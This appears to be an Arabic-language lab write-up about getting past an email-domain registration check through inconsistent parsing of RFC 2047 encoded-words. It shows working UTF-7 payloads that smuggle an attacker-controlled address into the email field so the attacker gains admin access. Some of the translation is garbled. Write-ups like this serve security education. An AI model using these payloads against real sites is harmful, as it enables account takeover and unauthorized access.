> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md).

# تجاوز ضوابط الوصول عبر التحليل غير المتسق لعناوين البريد الإلكتروني

### تجاوز عناصر التحكم في الوصول باستخدام اختلافات تحليل عنوان البريد الإلكتروني

#### وصف المختبر

يطبق هذا المختبر التحقق من صحة عنوان البريد الإلكتروني لمنع التسجيل بنطاقات غير مصرح بها. / ومع ذلك، يوجد عدم اتساق بين منطق التحقق في جهة التطبيق والمكتبة المستخدمة فعليًا لتفسير عناوين البريد الإلكتروني.

باستخدام هذا الاختلاف في التحليل، يمكن التسجيل باستخدام عنوان بريد إلكتروني خارجي مع تجاوز القيد المفروض على النطاق المصرح به، ثم الوصول إلى ميزات المشرف وحذف المستخدم **carlos**.

<figure><img src="/files/8fd0331c9175439c65f9d778a9f471c03719a43a" alt=""><figcaption></figcaption></figure>

#### قيد التسجيل

عند محاولة التسجيل بعنوان تقليدي مثل:

```
test@jord4n.pro
```

يرفض التطبيق التسجيل ويذكر أنه يُسمح فقط بالعناوين التي تنتمي إلى النطاق التالي:

```
ginandjuice.shop
```

<figure><img src="/files/71a6a447b481e1efcbacdd671fc81d921e498e82" alt=""><figcaption></figcaption></figure>

يؤدي تسجيل مشروع باستخدام هذا النطاق بعد ذلك إلى إرسال رسالة تأكيد إلكترونية:

```
يرجى التحقق من رسائل البريد الإلكتروني للحصول على رابط تسجيل حسابك
```

<figure><img src="/files/6596c1b73cc663761076c4cf02e31c2f3595d81e" alt=""><figcaption></figcaption></figure>

لذا من الضروري استلام هذه الرسالة لإتمام التسجيل.

#### مصدر الثغرة

<figure><img src="/files/adc5ef00d784dfb4754db13c1376694c209f2234" alt=""><figcaption></figcaption></figure>

تستند الثغرة إلى استخدام **Encoded-word** (RFC 2047)، وصيغته كما يلي:

```bash
=?<charset>?<encoding>?<encoded-text>?=
```

تتيح هذه الآلية ترميز أجزاء معينة من عنوان البريد الإلكتروني.

يرفض مُتحقّق التطبيق بعض أنواع الترميز، بينما يفسر محلل البريد النهائي هذه الأنواع بشكل صحيح.

#### الكتلة الأولية

تتم حظر محاولة ترميز بسيطة باستخدام UTF-8 (quoted-printable) بواسطة WAF:

```bash
=?utf-8?q?=61=62=63?=@ginandjuice.shop
```

الإجابة

```bash
تم حظر التسجيل لأسباب أمنية
```

<figure><img src="/files/dbf2e0552a6110a24f92c1e2e8eb0926fa67f99d" alt=""><figcaption></figcaption></figure>

#### تقنية التجاوز

لتجاوز هذا الحجب، **ترميز UTF-7 مع Base64** .

المبدأ:

* ترميز حرف في UTF-16

<figure><img src="/files/5502f96c4c7f1038ab6bd593865fb88d62d0a408" alt=""><figcaption></figcaption></figure>

* تحويل هذه النتيجة إلى Base64

<figure><img src="/files/a605e5bfd520091961afbfc3fd72acaebf541ca5" alt=""><figcaption></figcaption></figure>

* استخدامه ضمن Encoded-word UTF-7

مثال على ترميز الأحرف `ملف`:

* UTF-16 → Base64 : `AGE=`

حمولة عاملة دنيا:

```bash
=?utf-7?&AGE-=?=@ginandjuice.shop
```

تقبل منطق التحقق هذه القيمة.

<figure><img src="/files/109e42d93625a4f97e2985fe30252808bc327adf" alt=""><figcaption></figcaption></figure>

#### العملية الكاملة باستخدام عنوان مُتحكَّم فيه

عنوان المهاجم:

```bash
attacker@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net
```

بناء الحمولة:

* `&AEA-` يمثل `@`
* `&ACA-` يمثل مسافة، مما يمنع تفسيرًا صارمًا للنطاق النهائي

<figure><img src="/files/ff9fc560db9e757db5cfee9b7912cb890f41522f" alt=""><figcaption></figcaption></figure>

الحمولة النهائية المستخدمة عند التسجيل:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>=?utf-7?q?jordan&#x26;AEA-exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net&#x26;ACA-?=@ginandjuice.shop
</strong></code></pre>

<figure><img src="/files/998ef6ec1b0925099af05526f3b0be312b84e557" alt="" width="563"><figcaption></figcaption></figure>

العنوان الذي يفسره خادم البريد فعليًا:

```bash
jordan@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net @ginandjuice.shop
```

<figure><img src="/files/a62a500339e93c607021c7598945bc1b2321c403" alt=""><figcaption></figcaption></figure>

#### النتيجة

* يتحقق التطبيق من صحة العنوان لأنه ينتهي بـ `@ginandjuice.shop`

<figure><img src="/files/aae4ebab16f884ce89d6c00f75a723816232fd0c" alt=""><figcaption></figcaption></figure>

* يرسل خادم البريد الإلكتروني الرسالة إلى العنوان الذي يتحكم فيه المهاجم
* تم استلام رابط التأكيد
* اكتمل التسجيل بنجاح
* تم الحصول على الوصول إلى التطبيق
* تصبح الإجراءات الإدارية ممكنة، بما في ذلك حذف المستخدم **carlos**

<figure><img src="/files/7cf90af09eef7e133f7f28aedcc3ffec7bf27ae0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
